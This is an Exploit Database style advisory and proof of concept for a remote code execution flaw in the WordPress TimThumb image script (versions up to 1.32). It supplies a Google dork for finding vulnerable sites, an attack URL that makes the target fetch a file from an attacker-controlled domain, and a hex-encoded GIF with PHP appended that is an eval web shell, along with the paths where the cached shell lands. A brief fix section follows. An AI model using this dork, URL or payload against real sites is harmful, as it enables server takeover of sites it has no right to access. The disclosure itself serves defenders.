# Exploit Title: WordPress TimThumb Plugin - Remote Code Execution # Google Dork: inurl:timthumb ext:php -site:googlecode.com -site:google.com # Date: 3rd August 2011 # Author: MaXe # Software Link: http://timthumb.googlecode.com/svn-history/r141/trunk/timthumb.php # Version: 1.32 # Screenshot: See attachment # Tested on: Windows XP + Apache + PHP (XAMPP) WordPress TimThumb (Theme) Plugin - Remote Code Execution Versions Affected: 1.* - 1.32 (Only version 1.19 and 1.32 were tested.) (Version 1.33 did not save the cache file as .php) Info: (See references for original advisory) TimThumb is an image resizing utility, widely used in many WordPress themes. External Links: http://www.binarymoon.co.uk/projects/timthumb/ http://code.google.com/p/timthumb/ Credits: - Mark Maunder (Original Researcher) - MaXe (Indepedendent Proof of Concept Writer) -:: The Advisory ::- TimThumb is prone to a Remote Code Execution vulnerability, due to the script does not check remotely cached files properly. By crafting a special image file with a valid MIME-type, and appending a PHP file at the end of this, it is possible to fool TimThumb into believing that it is a legitimate image, thus caching it locally in the cache directory. Attack URL: (Note! Some websites uses Base64 Encoding of the src GET-request.) http://www.target.tld/wp-content/themes/THEME/timthumb.php?src=http://blogger.com.evildomain.tld/pocfile.php Stored file on the Target: (This can change from host to host.) 1.19: http://www.target.tld/wp-content/themes/THEME/cache/md5($src); 1.32: http://www.target.tld/wp-content/themes/THEME/cache/external_md5($src); md5($src); means the input value of the 'src' GET-request - Hashed in MD5 format. Proof of Concept File: \x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00 \xFF\xFF\xFF\x00\x00\x00\x21\xF9\x04\x01\x00\x00\x00 \x00\x2C\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02 \x44\x01\x00\x3B\x00\x3C\x3F\x70\x68\x70\x20\x40\x65 \x76\x61\x6C\x28\x24\x5F\x47\x45\x54\x5B\x27\x63\x6D \x64\x27\x5D\x29\x3B\x20\x3F\x3E\x00 (Transparent GIF + -:: Solution ::- Update to the latest version 1.34 or delete the timthumb file. NOTE: This file is often renamed and you should therefore issue a command like this in a terminal: (Thanks to rAWjAW for this info.) find . | grep php | xargs grep -s timthumb Disclosure Information: - Vulnerability Disclosed (Mark Maunder): 1st August 2011 - Vulnerability Researched (MaXe): 2nd August 2011 - Disclosed at The Exploit Database: 3rd August 2011 References: http://markmaunder.com/2011/zero-day-vulnerability-in-many-wordpress-themes/ http://markmaunder.com/2011/technical-details-and-scripts-of-the-wordpress-timthumb-php-hack/ http://code.google.com/p/timthumb/issues/detail?id=212 http://programming.arantius.com/the+smallest+possible+gif # Iranian Exploit DataBase = http://IeDb.Ir [2013-10-29]